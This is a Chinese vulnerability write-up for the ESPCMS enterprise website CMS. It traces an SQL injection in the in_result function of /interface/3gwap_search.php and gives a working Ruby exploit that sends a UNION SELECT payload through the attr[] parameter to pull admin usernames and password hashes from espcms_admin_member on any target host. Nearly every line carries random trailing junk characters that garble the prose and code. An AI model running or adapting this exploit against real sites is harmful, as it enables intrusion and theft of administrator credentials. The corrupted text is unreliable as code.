0×0 漏洞概述0×1 漏洞细节
7 z3 u/ J( g0 ~- u: O0×2 PoC
* ~' f2 w8 B; x: ~( H) t/ D; c0 \) b5 c4 H$ F% P5 G4 v q
( i9 O) y$ U8 t$ g. n) e
/ p* b0 }5 B9 f4 C: `7 T& J0×0 漏洞概述# k' F. s5 j# _5 J# U/ H
9 \& w& A/ k. W4 V易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
9 P% q0 E; {. r. X其在处理传入的参数时考虑不严谨导致SQL注入发生' v7 B& |& n( }
/ ~8 P: i0 B: n, \* q" ?, X A4 C0 N1 |% R( W8 }* I
0×1 漏洞细节8 C$ K! f$ y9 e3 w0 p
* q' k/ R+ H0 v' I+ i$ t9 x- M变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
- c7 r M$ q, l$ ~正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
( D W. k" @% }- A8 P6 z9 ^而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。: ]/ d$ m* Q8 G3 v7 T
. _- l9 L8 ]6 M1 n6 x. c) m3 I7 r/ b在/interface/3gwap_search.php文件的in_result函数中:
" z! \, P- ?( [# K
, k+ t$ g' K1 N% n- Q7 g7 U0 Y N
5 z' ?( f, U) ^0 C* D) }- Z$ G$ D6 b( c7 B
function in_result() {
3 }. z# n) n c9 T, R ... ... ... ... ... ... ... ... ...
+ D2 t! }9 \1 Q+ J I6 D" u $urlcode = $_SERVER[ 'QUERY_STRING '];
1 z! ]6 ~( [: R) A2 A/ l parse_str(html_entity_decode($urlcode), $output);
3 ]! B5 x: M- w/ Y. P6 r* h# v* T/ }8 D7 o5 R3 K1 O7 R2 R2 U* |
... ... ... ... ... ... ... ... ...0 u8 S; ]% O3 |( A: a
if (is_array($output['attr' ]) && count($output['attr']) > 0) {2 R* m J& K" a, ]0 p0 r9 ~
9 f/ ~( L' w4 m
$db_table = db_prefix . 'model_att';5 ~+ j) c& Y. E; X; {: V# q
. j4 V5 c! y) s: {2 b foreach ($output['attr' ] as $key => $value) {
. t- M! a: @5 h if ($value) {2 G+ [: b e+ h6 t$ y# R$ m
5 K0 N6 H" A1 {7 \, S3 T" [ $key = addslashes($key);2 n9 V/ T+ W4 l$ i. X8 G/ x
$key = $this-> fun->inputcodetrim($key);* T* ~9 y0 D/ Q* U7 |/ Z
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
: ^+ t3 b. l% ~8 ?/ f $countnum = $this->db_numrows($db_table, $db_att_where);
' K3 ]8 S; J* Z! u/ e if ($countnum > 0) {
$ {6 U' J3 M- F! R $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
' U7 r8 R1 j3 P* j% D }
7 C- [3 y$ N' q+ f }; a9 y7 X5 f+ l" z, ~& P7 Q! r
}* Q: x% r5 t ?
}
: j. U" {, v; w, Y( \5 {- q if (!empty ($keyword) && empty($keyname)) { F8 \# ~7 s# L' ~" _1 }) F, X
$keyname = 'title';; U+ I/ C6 g3 n" J1 N+ K( ^& w8 s. [
$db_where.= " AND a.title like '%$keyword%'" ;
' V5 Y4 h5 b: q9 j; I1 g/ x } elseif (!empty ($keyword) && !empty($keyname)) {
) ^+ h5 t" t3 `# o $db_where.= " AND $keyname like '% $keyword%'";
9 @, ]) ]3 @4 x5 Z( r& i+ z }
# \8 G$ `* H' K. ~; H7 V, \9 e $pagemax = 15;
' s7 g, \' x0 w. t
" ]. c9 J1 T1 h5 J# T% d9 _) T. s, w $pagesylte = 1;
( `7 Z ^4 t5 I. m
) @, x! t. t1 U7 f; ~1 v4 G0 e6 N* } if ($countnum > 0) {
8 K7 L( `' U$ P, S- I" {
, {" ^9 e4 {+ E8 G) j8 \ $numpage = ceil($countnum / $pagemax);% H9 {3 b( \; T; g8 T2 u
} else {
9 \# @+ c! U% E& y $numpage = 1;
' M( o( ` c. ?& u& T, { }
. d& J, F K% P1 f3 H# f) u2 q9 @$ s $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax; v G' ]& B7 R6 G- ^
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);9 m) A2 p h7 j9 d2 X/ A* s
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);! `( N* x5 P0 D3 a3 m; T2 l6 Q
... ... ... ... ... ... ... ... ...
b3 D+ j9 a) ~. j5 ` }* y- [4 r4 z/ j: N( r* ^% \* E
$ I! T$ K7 S6 h% e5 _; e/ A
* `$ [ t4 Q" [0×2 PoC) U% D9 B. \8 M: m/ B5 I7 `
; S3 L ]0 S3 R X- l
8 g) r8 H" l% H- H5 J, H
2 v9 j8 Z6 ~/ Y8 Orequire "net/http"( R9 l" J7 y# B
; E5 z& p. i. T1 W& A
def request(method, url)0 L1 M1 [9 t q# h0 K9 e& e
if method.eql?("get")
& t7 v, q- C5 O+ n# a8 H uri = URI.parse(url)
+ M& _- o. s8 m9 z3 C: [4 } http = Net::HTTP.new(uri.host, uri.port)
, `8 d3 p0 ?% ]7 X6 b! U' S5 Y response = http.request(Net::HTTP::Get.new(uri.request_uri))/ h! ~- g5 q: {0 R
return response
% G, D1 |6 ?, }0 t7 ]+ E* Y8 i$ H end
- h1 p% f" y; Zend8 k- O# `' I2 D" Q
4 s" ?8 Y- o4 I7 j5 E9 ?( ^ gdoc =<<HERE& o }& G3 o0 h* w3 {, V$ |9 l
-------------------------------------------------------
% n, i8 z: k% ]Espcms Injection Exploit0 z3 u0 z1 U( [, i1 F; y; a- k
Author:ztz
* z( e2 F0 z/ l, ~8 r/ v. DBlog:http://ztz.fuzzexp.org/6 [/ n2 K8 G* q; b9 q( ^. U
-------------------------------------------------------4 \- I# @/ s6 z( O, Z! ?
. U. U! r3 i, Q; l3 ]2 rHERE
& R6 C6 q7 w' i1 k$ |( t$ t/ I. c5 M' B
usage =<<HERE
. K0 n' `( E; a' \' h& _4 l3 fUsage: ruby #{$0} host port path
! t* {% D2 I" \example: ruby #{$0} www.target.com 80 /6 G6 I3 i" M' t2 i* r
HERE
7 t4 p; x/ F6 H8 `
. L7 M9 ]( P8 o. f: Bputs doc8 _; I3 q: q9 V2 M5 q/ P
if ARGV.length < 35 S5 {2 I; U. j. ^0 V2 R
puts usage
2 c/ u7 L* ^" M6 pelse, v& {( e% z5 p% \+ E+ [5 R, E; e
$host = ARGV[0]
/ i0 s. ~$ ?- \# u, S$ r: H $port = ARGV[1]
# }6 m6 W; X0 q $path = ARGV[2]+ ~, V& C! l: z, l6 z
" V2 g, n! j1 p4 A& p puts "send request..."6 G/ H6 |& d4 l: z0 ?) T
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
; I: W1 B+ t1 \attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
. z4 u* q% X' U# l* s1 E,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,275 S5 \& {' T! |4 ], y4 I0 Q/ @/ |
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
. u) P4 A W5 G3 u) I response = request("get", url)
$ ` B/ [1 w. q, E2 Y6 C result = response.body.scan(/\w+&\w{32}/)
! u/ i: k2 Z' I9 q# P* H- ^; c puts result; l4 K; F# A/ X/ j* [& O
end: W1 [5 N: Y* _6 F+ f
3 z- X; }6 r. M8 } |